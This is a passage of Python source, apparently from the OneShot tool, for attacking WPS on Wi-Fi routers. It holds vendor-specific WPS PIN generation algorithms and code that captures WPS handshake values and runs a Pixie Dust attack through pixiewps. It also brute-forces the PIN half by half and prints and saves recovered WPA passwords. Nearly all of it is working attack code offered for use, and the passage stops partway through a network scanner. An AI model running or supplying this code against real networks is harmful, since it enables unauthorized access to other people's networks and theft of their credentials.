  952.                         new_item = {'name': 'Static PIN DB', 'pin': pins_static}
  953.                         res.append(new_item)
  954.             else:
  955.                 item['name'] = algo['name']
  956.                 item['pin'] = self.generate(ID, mac)
  957.                 res.append(item)
  958.         self.algos['pinGeneric']['static'].clear()
  959.         return res
  960.  
  961.     def getSuggestedList(self, mac):
  962.         """
  963.        Get all suggested WPS pin's for single MAC as list
  964.        """
  965.         algos = self._suggest(mac)
  966.         res = []
  967.         for algo in algos:
  968.             res.append(self.generate(algo, mac))
  969.         return res
  970.  
  971.     def getLikely(self, mac):
  972.         res = self.getSuggestedList(mac)
  973.         if res:
  974.             return res[0]
  975.         else:
  976.             return None
  977.  
  978.     def append_from_pin_csv(self, pin_file_path, mac):
  979.         with open(pin_file_path, newline='') as csvfile:
  980.             reader = csv.reader(csvfile)
  981.             for row in reader:
  982.                 if  mac.startswith(row[1]):
  983.                     self.algos['pinGeneric']['static'].append(row[0])
  984.  
  985.     def _suggest(self, mac):
  986.         """
  987.        Get algos suggestions for single MAC
  988.        All the algos will be returned since they can work sometimes
  989.        The static pins will be added only if they are included in the csv for that specific mac
  990.        Returns the algo ID
  991.        """
  992.         self.append_from_pin_csv(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'pins.csv'), mac.upper())
  993.         res = []
  994.         for algo_id in self.algos:
  995.             res.append(algo_id)
  996.  
  997.         return res
  998.  
  999.     def pinTrendNet(self, bssid):
  1000.         try:
  1001.             last_3 = bssid.string.replace(':', '')[-6:]
  1002.             merge = last_3[4:] + last_3[2:4] + last_3[:2]
  1003.             string = int(merge, 16) % 10000000
  1004.             pin = 10 * string
  1005.             pin_with_checksum = pin + self.checksum(pin)
  1006.             return f"{pin_with_checksum:08d}"
  1007.         except ValueError:
  1008.             return "12345670"
  1009.  
  1010.     def pinEasybox(self, bssid):
  1011.         try:
  1012.             last_two = bssid.string.replace(':', '')[-4:]
  1013.             sn = int(last_two, 16)
  1014.             snstr = f"{sn:05d}"
  1015.  
  1016.             mac = [int(c, 16) for c in last_two]
  1017.             sn_digits = [int(c) for c in snstr[1:]]
  1018.  
  1019.             k1 = (sum(sn_digits[:2]) + sum(mac[2:])) % 16
  1020.             k2 = (sum(sn_digits[2:]) + sum(mac[:2])) % 16
  1021.  
  1022.             hpin = [
  1023.                 k1 ^ sn_digits[3],
  1024.                 k1 ^ sn_digits[2],
  1025.                 k2 ^ mac[1],
  1026.                 k2 ^ mac[2],
  1027.                 mac[2] ^ sn_digits[3],
  1028.                 mac[3] ^ sn_digits[2],
  1029.                 k1 ^ sn_digits[1]
  1030.             ]
  1031.  
  1032.             hpin_str = ''.join(f"{x:X}" for x in hpin)
  1033.             hpinint = int(hpin_str, 16) % 10000000
  1034.             return f"{hpinint:07d}{self.checksum(hpinint)}"
  1035.  
  1036.         except ValueError:
  1037.             return 12345670
  1038.  
  1039.     def pinArris(self, bssid):
  1040.         def fib_gen(n, memo={}):
  1041.             if n in memo:
  1042.                 return memo[n]
  1043.             if n in (0, 1, 2):
  1044.                 return 1
  1045.             memo[n] = fib_gen(n - 1, memo) + fib_gen(n - 2, memo)
  1046.             return memo[n]
  1047.  
  1048.         macs = bssid.string.split(":")
  1049.         array_macs = [int(mac, 16) for mac in macs]
  1050.  
  1051.         fibnum = []
  1052.         for i, mac in enumerate(array_macs):
  1053.             adjusted_mac = mac
  1054.             counter = 0
  1055.  
  1056.             if adjusted_mac > 30:
  1057.                 while adjusted_mac > 31:
  1058.                     adjusted_mac -= 16
  1059.                     counter += 1
  1060.  
  1061.             if counter == 0 and adjusted_mac < 3:
  1062.                 adjusted_mac = sum(array_macs) - adjusted_mac
  1063.                 adjusted_mac &= 0xff
  1064.                 adjusted_mac = (adjusted_mac % 28) + 3
  1065.  
  1066.             fibnum.append(fib_gen(adjusted_mac) + (fib_gen(counter) if counter else 0))
  1067.  
  1068.         fibsum = sum(fib * fib_gen(i + 16) for i, fib in enumerate(fibnum)) + sum(array_macs)
  1069.         fibsum = (fibsum % 10000000 * 10) + self.checksum(fibsum)
  1070.  
  1071.         return f"{fibsum:08d}"
  1072.  
  1073.     def pin24(self, mac):
  1074.         return mac.integer & 0xFFFFFF
  1075.  
  1076.     def pin28(self, mac):
  1077.         return mac.integer & 0xFFFFFFF
  1078.  
  1079.     def pin32(self, mac):
  1080.         return mac.integer % 0x100000000
  1081.  
  1082.     def pinDLink(self, mac):
  1083.         # Get the NIC part
  1084.         nic = mac.integer & 0xFFFFFF
  1085.         # Calculating pin
  1086.         pin = nic ^ 0x55AA55
  1087.         pin ^= (((pin & 0xF) << 4) +
  1088.                 ((pin & 0xF) << 8) +
  1089.                 ((pin & 0xF) << 12) +
  1090.                 ((pin & 0xF) << 16) +
  1091.                 ((pin & 0xF) << 20))
  1092.         pin %= int(10e6)
  1093.         if pin < int(10e5):
  1094.             pin += ((pin % 9) * int(10e5)) + int(10e5)
  1095.         return pin
  1096.  
  1097.     def pinDLink1(self, mac):
  1098.         mac.integer += 1
  1099.         return self.pinDLink(mac)
  1100.  
  1101.     def pinASUS(self, mac):
  1102.         b = [int(i, 16) for i in mac.string.split(':')]
  1103.         pin = ''
  1104.         for i in range(7):
  1105.             pin += str((b[i % 6] + b[5]) % (10 - (i + b[1] + b[2] + b[3] + b[4] + b[5]) % 7))
  1106.         return int(pin)
  1107.  
  1108.     def pinAirocon(self, mac):
  1109.         b = [int(i, 16) for i in mac.string.split(':')]
  1110.         pin = ((b[0] + b[1]) % 10)\
  1111.         + (((b[5] + b[0]) % 10) * 10)\
  1112.         + (((b[4] + b[5]) % 10) * 100)\
  1113.         + (((b[3] + b[4]) % 10) * 1000)\
  1114.         + (((b[2] + b[3]) % 10) * 10000)\
  1115.         + (((b[1] + b[2]) % 10) * 100000)\
  1116.         + (((b[0] + b[1]) % 10) * 1000000)
  1117.         return pin
  1118.  
  1119.  
  1120. def recvuntil(pipe, what):
  1121.     s = ''
  1122.     while True:
  1123.         inp = pipe.stdout.read(1)
  1124.         if inp == '':
  1125.             return s
  1126.         s += inp
  1127.         if what in s:
  1128.             return s
  1129.  
  1130.  
  1131. def get_hex(line):
  1132.     a = line.split(':', 3)
  1133.     return a[2].replace(' ', '').upper()
  1134.  
  1135.  
  1136. class PixiewpsData:
  1137.     def __init__(self):
  1138.         self.pke = ''
  1139.         self.pkr = ''
  1140.         self.e_hash1 = ''
  1141.         self.e_hash2 = ''
  1142.         self.authkey = ''
  1143.         self.e_nonce = ''
  1144.  
  1145.     def clear(self):
  1146.         self.__init__()
  1147.  
  1148.     def got_all(self):
  1149.         return (self.pke and self.pkr and self.e_nonce and self.authkey
  1150.                 and self.e_hash1 and self.e_hash2)
  1151.  
  1152.     def get_pixie_cmd(self, full_range=False):
  1153.         pixiecmd = "pixiewps --pke {} --pkr {} --e-hash1 {}"\
  1154.                     " --e-hash2 {} --authkey {} --e-nonce {}".format(
  1155.                     self.pke, self.pkr, self.e_hash1,
  1156.                     self.e_hash2, self.authkey, self.e_nonce)
  1157.         if full_range:
  1158.             pixiecmd += ' --force'
  1159.         return pixiecmd
  1160.  
  1161.  
  1162. class ConnectionStatus:
  1163.     def __init__(self):
  1164.         self.status = ''   # Must be WSC_NACK, WPS_FAIL or GOT_PSK
  1165.         self.last_m_message = 0
  1166.         self.essid = ''
  1167.         self.wpa_psk = ''
  1168.  
  1169.     def isFirstHalfValid(self):
  1170.         return self.last_m_message > 5
  1171.  
  1172.     def clear(self):
  1173.         self.__init__()
  1174.  
  1175.  
  1176. class BruteforceStatus:
  1177.     def __init__(self):
  1178.         self.start_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
  1179.         self.mask = ''
  1180.         self.last_attempt_time = time.time()   # Last PIN attempt start time
  1181.         self.attempts_times = collections.deque(maxlen=15)
  1182.  
  1183.         self.counter = 0
  1184.         self.statistics_period = 5
  1185.  
  1186.     def display_status(self):
  1187.         average_pin_time = statistics.mean(self.attempts_times)
  1188.         if len(self.mask) == 4:
  1189.             percentage = int(self.mask) / 11000 * 100
  1190.         else:
  1191.             percentage = ((10000 / 11000) + (int(self.mask[4:]) / 11000)) * 100
  1192.         print('[*] {:.2f}% complete @ {} ({:.2f} seconds/pin)'.format(
  1193.             percentage, self.start_time, average_pin_time))
  1194.  
  1195.     def registerAttempt(self, mask):
  1196.         self.mask = mask
  1197.         self.counter += 1
  1198.         current_time = time.time()
  1199.         self.attempts_times.append(current_time - self.last_attempt_time)
  1200.         self.last_attempt_time = current_time
  1201.         if self.counter == self.statistics_period:
  1202.             self.counter = 0
  1203.             self.display_status()
  1204.  
  1205.     def clear(self):
  1206.         self.__init__()
  1207.  
  1208.  
  1209. class Companion:
  1210.     """Main application part"""
  1211.     def __init__(self, interface, save_result=False, print_debug=False):
  1212.         self.interface = interface
  1213.         self.save_result = save_result
  1214.         self.print_debug = print_debug
  1215.  
  1216.         self.tempdir = tempfile.mkdtemp()
  1217.         with tempfile.NamedTemporaryFile(mode='w', suffix='.conf', delete=False) as temp:
  1218.             temp.write('ctrl_interface={}\nctrl_interface_group=root\nupdate_config=1\n'.format(self.tempdir))
  1219.             self.tempconf = temp.name
  1220.         self.wpas_ctrl_path = f"{self.tempdir}/{interface}"
  1221.         self.__init_wpa_supplicant()
  1222.  
  1223.         self.res_socket_file = f"{tempfile._get_default_tempdir()}/{next(tempfile._get_candidate_names())}"
  1224.         self.retsock = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM)
  1225.         self.retsock.bind(self.res_socket_file)
  1226.  
  1227.         self.pixie_creds = PixiewpsData()
  1228.         self.connection_status = ConnectionStatus()
  1229.  
  1230.         user_home = str(pathlib.Path.home())
  1231.         self.sessions_dir = f'{user_home}/.OneShot/sessions/'
  1232.         self.pixiewps_dir = f'{user_home}/.OneShot/pixiewps/'
  1233.         self.reports_dir = os.path.dirname(os.path.realpath(__file__)) + '/reports/'
  1234.         if not os.path.exists(self.sessions_dir):
  1235.             os.makedirs(self.sessions_dir)
  1236.         if not os.path.exists(self.pixiewps_dir):
  1237.             os.makedirs(self.pixiewps_dir)
  1238.  
  1239.         self.generator = WPSpin()
  1240.  
  1241.     def __init_wpa_supplicant(self):
  1242.         print('[*] Running wpa_supplicant…')
  1243.         cmd = 'wpa_supplicant -K -d -Dnl80211,wext,hostapd,wired -i{} -c{}'.format(self.interface, self.tempconf)
  1244.         self.wpas = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,
  1245.                                      stderr=subprocess.STDOUT, encoding='utf-8', errors='replace')
  1246.         # Waiting for wpa_supplicant control interface initialization
  1247.         while True:
  1248.             ret = self.wpas.poll()
  1249.             if ret is not None and ret != 0:
  1250.                 raise ValueError('wpa_supplicant returned an error: ' + self.wpas.communicate()[0])
  1251.             if os.path.exists(self.wpas_ctrl_path):
  1252.                 break
  1253.             time.sleep(.1)
  1254.  
  1255.     def sendOnly(self, command):
  1256.         """Sends command to wpa_supplicant"""
  1257.         self.retsock.sendto(command.encode(), self.wpas_ctrl_path)
  1258.  
  1259.     def sendAndReceive(self, command):
  1260.         """Sends command to wpa_supplicant and returns the reply"""
  1261.         self.retsock.sendto(command.encode(), self.wpas_ctrl_path)
  1262.         (b, address) = self.retsock.recvfrom(4096)
  1263.         inmsg = b.decode('utf-8', errors='replace')
  1264.         return inmsg
  1265.  
  1266.     @staticmethod
  1267.     def _explain_wpas_not_ok_status(command: str, respond: str):
  1268.         if command.startswith(('WPS_REG', 'WPS_PBC')):
  1269.             if respond == 'UNKNOWN COMMAND':
  1270.                 return ('[!] It looks like your wpa_supplicant is compiled without WPS protocol support. '
  1271.                         'Please build wpa_supplicant with WPS support ("CONFIG_WPS=y")')
  1272.         return '[!] Something went wrong — check out debug log'
  1273.  
  1274.     def __handle_wpas(self, pixiemode=False, pbc_mode=False, verbose=None):
  1275.         if not verbose:
  1276.             verbose = self.print_debug
  1277.         line = self.wpas.stdout.readline()
  1278.         if not line:
  1279.             self.wpas.wait()
  1280.             return False
  1281.         line = line.rstrip('\n')
  1282.  
  1283.         if verbose:
  1284.             sys.stderr.write(line + '\n')
  1285.  
  1286.         if line.startswith('WPS: '):
  1287.             if 'Building Message M' in line:
  1288.                 n = int(line.split('Building Message M')[1].replace('D', ''))
  1289.                 self.connection_status.last_m_message = n
  1290.                 print('[*] Sending WPS Message M{}…'.format(n))
  1291.             elif 'Received M' in line:
  1292.                 n = int(line.split('Received M')[1])
  1293.                 self.connection_status.last_m_message = n
  1294.                 print('[*] Received WPS Message M{}'.format(n))
  1295.                 if n == 5:
  1296.                     print('[+] The first half of the PIN is valid')
  1297.             elif 'Enrollee Nonce' in line and 'hexdump' in line:
  1298.                 self.pixie_creds.e_nonce = get_hex(line)
  1299.                 assert(len(self.pixie_creds.e_nonce) == 16*2)
  1300.                 if pixiemode:
  1301.                     print('[P] E-Nonce: {}'.format(self.pixie_creds.e_nonce))
  1302.             elif 'DH own Public Key' in line and 'hexdump' in line:
  1303.                 self.pixie_creds.pkr = get_hex(line)
  1304.                 assert(len(self.pixie_creds.pkr) == 192*2)
  1305.                 if pixiemode:
  1306.                     print('[P] PKR: {}'.format(self.pixie_creds.pkr))
  1307.             elif 'DH peer Public Key' in line and 'hexdump' in line:
  1308.                 self.pixie_creds.pke = get_hex(line)
  1309.                 assert(len(self.pixie_creds.pke) == 192*2)
  1310.                 if pixiemode:
  1311.                     print('[P] PKE: {}'.format(self.pixie_creds.pke))
  1312.             elif 'AuthKey' in line and 'hexdump' in line:
  1313.                 self.pixie_creds.authkey = get_hex(line)
  1314.                 assert(len(self.pixie_creds.authkey) == 32*2)
  1315.                 if pixiemode:
  1316.                     print('[P] AuthKey: {}'.format(self.pixie_creds.authkey))
  1317.             elif 'E-Hash1' in line and 'hexdump' in line:
  1318.                 self.pixie_creds.e_hash1 = get_hex(line)
  1319.                 assert(len(self.pixie_creds.e_hash1) == 32*2)
  1320.                 if pixiemode:
  1321.                     print('[P] E-Hash1: {}'.format(self.pixie_creds.e_hash1))
  1322.             elif 'E-Hash2' in line and 'hexdump' in line:
  1323.                 self.pixie_creds.e_hash2 = get_hex(line)
  1324.                 assert(len(self.pixie_creds.e_hash2) == 32*2)
  1325.                 if pixiemode:
  1326.                     print('[P] E-Hash2: {}'.format(self.pixie_creds.e_hash2))
  1327.             elif 'Network Key' in line and 'hexdump' in line:
  1328.                 self.connection_status.status = 'GOT_PSK'
  1329.                 self.connection_status.wpa_psk = bytes.fromhex(get_hex(line)).decode('utf-8', errors='replace')
  1330.         elif ': State: ' in line:
  1331.             if '-> SCANNING' in line:
  1332.                 self.connection_status.status = 'scanning'
  1333.                 print('[*] Scanning…')
  1334.         elif ('WPS-FAIL' in line) and (self.connection_status.status != ''):
  1335.             if 'msg=5 config_error=15' in line:
  1336.                 print('[*] Received WPS-FAIL with reason: WPS LOCKED')
  1337.                 self.connection_status.status = 'WPS_FAIL'
  1338.             elif 'msg=8' in line:
  1339.                 if 'config_error=15' in line:
  1340.                     print('[*] Received WPS-FAIL with reason: WPS LOCKED')
  1341.                     self.connection_status.status = 'WPS_FAIL'
  1342.                 else:
  1343.                     self.connection_status.status = 'WSC_NACK'
  1344.                     print('[-] Error: PIN was wrong')
  1345.             elif 'config_error=2' in line:
  1346.                 print('[*] Received WPS-FAIL with reason: CRC FAILURE')
  1347.                 self.connection_status.status = 'WPS_FAIL'
  1348.             else:
  1349.                 self.connection_status.status = 'WPS_FAIL'
  1350. #        elif 'NL80211_CMD_DEL_STATION' in line:
  1351. #            print("[!] Unexpected interference — kill NetworkManager/wpa_supplicant!")
  1352.         elif 'Trying to authenticate with' in line:
  1353.             self.connection_status.status = 'authenticating'
  1354.             if 'SSID' in line:
  1355.                 self.connection_status.essid = (codecs.decode("'".join(line.split("'")[1:-1]), 'unicode-escape')
  1356.                                                 .encode('latin1').decode('utf-8', errors='replace'))
  1357.             print('[*] Authenticating…')
  1358.         elif 'Authentication response' in line:
  1359.             print('[+] Authenticated')
  1360.         elif 'Trying to associate with' in line:
  1361.             self.connection_status.status = 'associating'
  1362.             if 'SSID' in line:
  1363.                 self.connection_status.essid = (codecs.decode("'".join(line.split("'")[1:-1]), 'unicode-escape')
  1364.                                                 .encode('latin1').decode('utf-8', errors='replace'))
  1365.             print('[*] Associating with AP…')
  1366.         elif ('Associated with' in line) and (self.interface in line):
  1367.             bssid = line.split()[-1].upper()
  1368.             if self.connection_status.essid:
  1369.                 print('[+] Associated with {} (ESSID: {})'.format(bssid, self.connection_status.essid))
  1370.             else:
  1371.                 print('[+] Associated with {}'.format(bssid))
  1372.         elif 'EAPOL: txStart' in line:
  1373.             self.connection_status.status = 'eapol_start'
  1374.             print('[*] Sending EAPOL Start…')
  1375.         elif 'EAP entering state IDENTITY' in line:
  1376.             print('[*] Received Identity Request')
  1377.         elif 'using real identity' in line:
  1378.             print('[*] Sending Identity Response…')
  1379.         elif pbc_mode and ('selected BSS ' in line):
  1380.             bssid = line.split('selected BSS ')[-1].split()[0].upper()
  1381.             self.connection_status.bssid = bssid
  1382.             print('[*] Selected AP: {}'.format(bssid))
  1383.  
  1384.         return True
  1385.  
  1386.     def __runPixiewps(self, showcmd=False, full_range=False):
  1387.         print("[*] Running Pixiewps…")
  1388.         cmd = self.pixie_creds.get_pixie_cmd(full_range)
  1389.         if showcmd:
  1390.             print(cmd)
  1391.         r = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE,
  1392.                            stderr=sys.stdout, encoding='utf-8', errors='replace')
  1393.         print(r.stdout)
  1394.         if r.returncode == 0:
  1395.             lines = r.stdout.splitlines()
  1396.             for line in lines:
  1397.                 if ('[+]' in line) and ('WPS pin' in line):
  1398.                     pin = line.split(':')[-1].strip()
  1399.                     if pin == '<empty>':
  1400.                         pin = "''"
  1401.                     return pin
  1402.         return False
  1403.  
  1404.     def __credentialPrint(self, wps_pin=None, wpa_psk=None, essid=None):
  1405.         print(f"[+] WPS PIN: '{wps_pin}'")
  1406.         print(f"[+] WPA PSK: '{wpa_psk}'")
  1407.         print(f"[+] AP SSID: '{essid}'")
  1408.  
  1409.     def __saveResult(self, bssid, essid, wps_pin, wpa_psk):
  1410.         if not os.path.exists(self.reports_dir):
  1411.             os.makedirs(self.reports_dir)
  1412.         filename = self.reports_dir + 'stored'
  1413.         dateStr = datetime.now().strftime("%d.%m.%Y %H:%M")
  1414.         with open(filename + '.txt', 'a', encoding='utf-8') as file:
  1415.             file.write('{}\nBSSID: {}\nESSID: {}\nWPS PIN: {}\nWPA PSK: {}\n\n'.format(
  1416.                         dateStr, bssid, essid, wps_pin, wpa_psk
  1417.                     )
  1418.             )
  1419.         writeTableHeader = not os.path.isfile(filename + '.csv')
  1420.         with open(filename + '.csv', 'a', newline='', encoding='utf-8') as file:
  1421.             csvWriter = csv.writer(file, delimiter=';', quoting=csv.QUOTE_ALL)
  1422.             if writeTableHeader:
  1423.                 csvWriter.writerow(['Date', 'BSSID', 'ESSID', 'WPS PIN', 'WPA PSK'])
  1424.             csvWriter.writerow([dateStr, bssid, essid, wps_pin, wpa_psk])
  1425.         print(f'[i] Credentials saved to {filename}.txt, {filename}.csv')
  1426.  
  1427.     def __savePin(self, bssid, pin):
  1428.         filename = self.pixiewps_dir + '{}.run'.format(bssid.replace(':', '').upper())
  1429.         with open(filename, 'w') as file:
  1430.             file.write(pin)
  1431.         print('[i] PIN saved in {}'.format(filename))
  1432.  
  1433.     def __prompt_wpspin(self, bssid):
  1434.         pins = self.generator.getSuggested(bssid)
  1435.         if len(pins) > 1:
  1436.             print(f'PINs generated for {bssid}:')
  1437.             print('{:<3} {:<10} {:<}'.format('#', 'PIN', 'Name'))
  1438.             for i, pin in enumerate(pins):
  1439.                 number = '{})'.format(i + 1)
  1440.                 line = '{:<3} {:<10} {:<}'.format(
  1441.                     number, pin['pin'], pin['name'])
  1442.                 print(line)
  1443.             while 1:
  1444.                 pinNo = input('Select the PIN: ')
  1445.                 try:
  1446.                     if int(pinNo) in range(1, len(pins)+1):
  1447.                         pin = pins[int(pinNo) - 1]['pin']
  1448.                     else:
  1449.                         raise IndexError
  1450.                 except Exception:
  1451.                     print('Invalid number')
  1452.                 else:
  1453.                     break
  1454.         elif len(pins) == 1:
  1455.             pin = pins[0]
  1456.             print('[i] The only probable PIN is selected:', pin['name'])
  1457.             pin = pin['pin']
  1458.         else:
  1459.             return None
  1460.         return pin
  1461.  
  1462.     def __wps_connection(self, bssid=None, pin=None, pixiemode=False, pbc_mode=False, verbose=None):
  1463.         if not verbose:
  1464.             verbose = self.print_debug
  1465.         self.pixie_creds.clear()
  1466.         self.connection_status.clear()
  1467.         self.wpas.stdout.read(300)   # Clean the pipe
  1468.         if pbc_mode:
  1469.             if bssid:
  1470.                 print(f"[*] Starting WPS push button connection to {bssid}…")
  1471.                 cmd = f'WPS_PBC {bssid}'
  1472.             else:
  1473.                 print("[*] Starting WPS push button connection…")
  1474.                 cmd = 'WPS_PBC'
  1475.         else:
  1476.             print(f"[*] Trying PIN '{pin}'…")
  1477.             cmd = f'WPS_REG {bssid} {pin}'
  1478.         r = self.sendAndReceive(cmd)
  1479.         if 'OK' not in r:
  1480.             self.connection_status.status = 'WPS_FAIL'
  1481.             print(self._explain_wpas_not_ok_status(cmd, r))
  1482.             return False
  1483.  
  1484.         while True:
  1485.             res = self.__handle_wpas(pixiemode=pixiemode, pbc_mode=pbc_mode, verbose=verbose)
  1486.             if not res:
  1487.                 break
  1488.             if self.connection_status.status == 'WSC_NACK':
  1489.                 break
  1490.             elif self.connection_status.status == 'GOT_PSK':
  1491.                 break
  1492.             elif self.connection_status.status == 'WPS_FAIL':
  1493.                 break
  1494.  
  1495.         self.sendOnly('WPS_CANCEL')
  1496.         return False
  1497.  
  1498.     def single_connection(self, bssid=None, ssid=None, pin=None, pixiemode=False, pbc_mode=False, showpixiecmd=False,
  1499.                           pixieforce=False, store_pin_on_fail=False):
  1500.         if not pin:
  1501.             if pixiemode:
  1502.                 try:
  1503.                     # Try using the previously calculated PIN
  1504.                     filename = self.pixiewps_dir + '{}.run'.format(bssid.replace(':', '').upper())
  1505.                     with open(filename, 'r') as file:
  1506.                         t_pin = file.readline().strip()
  1507.                         if input('[?] Use previously calculated PIN {}? [n/Y] '.format(t_pin)).lower() != 'n':
  1508.                             pin = t_pin
  1509.                         else:
  1510.                             raise FileNotFoundError
  1511.                 except FileNotFoundError:
  1512.                     pin = self.generator.getLikely(bssid) or '12345670'
  1513.             elif not pbc_mode:
  1514.                 # If not pixiemode, ask user to select a pin from the list
  1515.                 pin = self.__prompt_wpspin(bssid) or '12345670'
  1516.         if pbc_mode:
  1517.             self.__wps_connection(bssid, pbc_mode=pbc_mode)
  1518.             bssid = self.connection_status.bssid
  1519.             pin = '<PBC mode>'
  1520.         elif store_pin_on_fail:
  1521.             try:
  1522.                 self.__wps_connection(bssid, pin, pixiemode)
  1523.             except KeyboardInterrupt:
  1524.                 print("\nAborting…")
  1525.                 self.__savePin(bssid, pin)
  1526.                 return False
  1527.         else:
  1528.             self.__wps_connection(bssid, pin, pixiemode)
  1529.  
  1530.         if self.connection_status.status == 'GOT_PSK':
  1531.             self.__credentialPrint(pin, self.connection_status.wpa_psk, self.connection_status.essid)
  1532.             if self.save_result:
  1533.                 self.__saveResult(bssid, self.connection_status.essid, pin, self.connection_status.wpa_psk)
  1534.             if not pbc_mode:
  1535.                 # Try to remove temporary PIN file
  1536.                 filename = self.pixiewps_dir + '{}.run'.format(bssid.replace(':', '').upper())
  1537.                 try:
  1538.                     os.remove(filename)
  1539.                 except FileNotFoundError:
  1540.                     pass
  1541.             return True
  1542.         elif pixiemode:
  1543.             if self.pixie_creds.got_all():
  1544.                 pin = self.__runPixiewps(showpixiecmd, pixieforce)
  1545.                 if pin:
  1546.                     return self.single_connection(bssid, pin, pixiemode=False, store_pin_on_fail=True)
  1547.                 return False
  1548.             else:
  1549.                 print('[!] Not enough data to run Pixie Dust attack')
  1550.                 return False
  1551.         else:
  1552.             if store_pin_on_fail:
  1553.                 # Saving Pixiewps calculated PIN if can't connect
  1554.                 self.__savePin(bssid, pin)
  1555.             return False
  1556.  
  1557.     def __first_half_bruteforce(self, bssid, f_half, delay=None):
  1558.         """
  1559.        @f_half — 4-character string
  1560.        """
  1561.         checksum = self.generator.checksum
  1562.         while int(f_half) < 10000:
  1563.             t = int(f_half + '000')
  1564.             pin = '{}000{}'.format(f_half, checksum(t))
  1565.             self.single_connection(bssid, pin)
  1566.             if self.connection_status.isFirstHalfValid():
  1567.                 print('[+] First half found')
  1568.                 return f_half
  1569.             elif self.connection_status.status == 'WPS_FAIL':
  1570.                 print('[!] WPS transaction failed, re-trying last pin')
  1571.                 return self.__first_half_bruteforce(bssid, f_half)
  1572.             f_half = str(int(f_half) + 1).zfill(4)
  1573.             self.bruteforce.registerAttempt(f_half)
  1574.             if delay:
  1575.                 time.sleep(delay)
  1576.         print('[-] First half not found')
  1577.         return False
  1578.  
  1579.     def __second_half_bruteforce(self, bssid, f_half, s_half, delay=None):
  1580.         """
  1581.        @f_half — 4-character string
  1582.        @s_half — 3-character string
  1583.        """
  1584.         checksum = self.generator.checksum
  1585.         while int(s_half) < 1000:
  1586.             t = int(f_half + s_half)
  1587.             pin = '{}{}{}'.format(f_half, s_half, checksum(t))
  1588.             self.single_connection(bssid, pin)
  1589.             if self.connection_status.last_m_message > 6:
  1590.                 return pin
  1591.             elif self.connection_status.status == 'WPS_FAIL':
  1592.                 print('[!] WPS transaction failed, re-trying last pin')
  1593.                 return self.__second_half_bruteforce(bssid, f_half, s_half)
  1594.             s_half = str(int(s_half) + 1).zfill(3)
  1595.             self.bruteforce.registerAttempt(f_half + s_half)
  1596.             if delay:
  1597.                 time.sleep(delay)
  1598.         return False
  1599.  
  1600.     def smart_bruteforce(self, bssid, start_pin=None, delay=None):
  1601.         if (not start_pin) or (len(start_pin) < 4):
  1602.             # Trying to restore previous session
  1603.             try:
  1604.                 filename = self.sessions_dir + '{}.run'.format(bssid.replace(':', '').upper())
  1605.                 with open(filename, 'r') as file:
  1606.                     if input('[?] Restore previous session for {}? [n/Y] '.format(bssid)).lower() != 'n':
  1607.                         mask = file.readline().strip()
  1608.                     else:
  1609.                         raise FileNotFoundError
  1610.             except FileNotFoundError:
  1611.                 mask = '0000'
  1612.         else:
  1613.             mask = start_pin[:7]
  1614.  
  1615.         try:
  1616.             self.bruteforce = BruteforceStatus()
  1617.             self.bruteforce.mask = mask
  1618.             if len(mask) == 4:
  1619.                 f_half = self.__first_half_bruteforce(bssid, mask, delay)
  1620.                 if f_half and (self.connection_status.status != 'GOT_PSK'):
  1621.                     self.__second_half_bruteforce(bssid, f_half, '001', delay)
  1622.             elif len(mask) == 7:
  1623.                 f_half = mask[:4]
  1624.                 s_half = mask[4:]
  1625.                 self.__second_half_bruteforce(bssid, f_half, s_half, delay)
  1626.             raise KeyboardInterrupt
  1627.         except KeyboardInterrupt:
  1628.             print("\nAborting…")
  1629.             filename = self.sessions_dir + '{}.run'.format(bssid.replace(':', '').upper())
  1630.             with open(filename, 'w') as file:
  1631.                 file.write(self.bruteforce.mask)
  1632.             print('[i] Session saved in {}'.format(filename))
  1633.             if args.loop:
  1634.                 raise KeyboardInterrupt
  1635.  
  1636.     def cleanup(self):
  1637.         self.retsock.close()
  1638.         self.wpas.terminate()
  1639.         os.remove(self.res_socket_file)
  1640.         shutil.rmtree(self.tempdir, ignore_errors=True)
  1641.         os.remove(self.tempconf)
  1642.  
  1643.     def __del__(self):
  1644.         self.cleanup()
  1645.  
  1646.  
  1647. class WiFiScanner:
  1648.     """docstring for WiFiScanner"""
  1649.     def __init__(self, interface, vuln_list=None):
  1650.         self.interface = interface
  1651.         self.vuln_list = vuln_list
  1652.  
  1653.         reports_fname = os.path.dirname(os.path.realpath(__file__)) + '/reports/stored.csv'
  1654.         try:
  1655.             with open(reports_fname, 'r', newline='', encoding='utf-8', errors='replace') as file:
  1656.                 csvReader = csv.reader(file, delimiter=';', quoting=csv.QUOTE_ALL)
  1657.                 # Skip header
  1658.                 next(csvReader)
  1659.                 self.stored = []
  1660.                 for row in csvReader:
  1661.                     self.stored.append(
  1662.                         (
  1663.                             row[1],   # BSSID
  1664.                             row[2]    # ESSID
  1665.                         )
  1666.                     )
  1667.         except FileNotFoundError:
  1668.             self.stored = []
  1669.  
  1670.     def checkvuln_from_pin_csv(self, pin_file_path, mac):
  1671.         with open(pin_file_path, newline='') as csvfile:
  1672.             reader = csv.reader(csvfile)
  1673.             for row in reader:
  1674.                 if  mac.startswith(row[1]):
  1675.                     return True
  1676.  
  1677.     def iw_scanner(self) -> Dict[int, dict]:
  1678.         """Parsing iw scan results"""
  1679.         def handle_network(line, result, networks):
  1680.             networks.append(
  1681.                     {
  1682.                         'Security type': 'Unknown',
  1683.                         'WPS': False,
  1684.                         'WPS locked': False,
  1685.                         'Model': '',
  1686.                         'Model number': '',
  1687.                         'Device name': ''
  1688.                      }
  1689.                 )
  1690.             networks[-1]['BSSID'] = result.group(1).upper()
  1691.  
  1692.         def handle_essid(line, result, networks):
  1693.             d = result.group(1)
  1694.             networks[-1]['ESSID'] = (codecs.decode(d, 'unicode-escape')
  1695.                                      .encode('latin1').decode('utf-8', errors='replace'))
  1696.  
  1697.         def handle_level(line, result, networks):
  1698.             networks[-1]['Level'] = int(float(result.group(1)))
  1699.  
  1700.         def handle_securityType(line, result, networks):
  1701.             sec = networks[-1]['Security type']
  1702.             if result.group(1) == 'capability':
  1703.                 if 'Privacy' in result.group(2):
  1704.                     sec = 'WEP'
  1705.                 else:
  1706.                     sec = 'Open'
  1707.             elif sec == 'WEP':
  1708.                 if result.group(1) == 'RSN':
  1709.                     sec = 'WPA2'
  1710.                 elif result.group(1) == 'WPA':
  1711.                     sec = 'WPA'
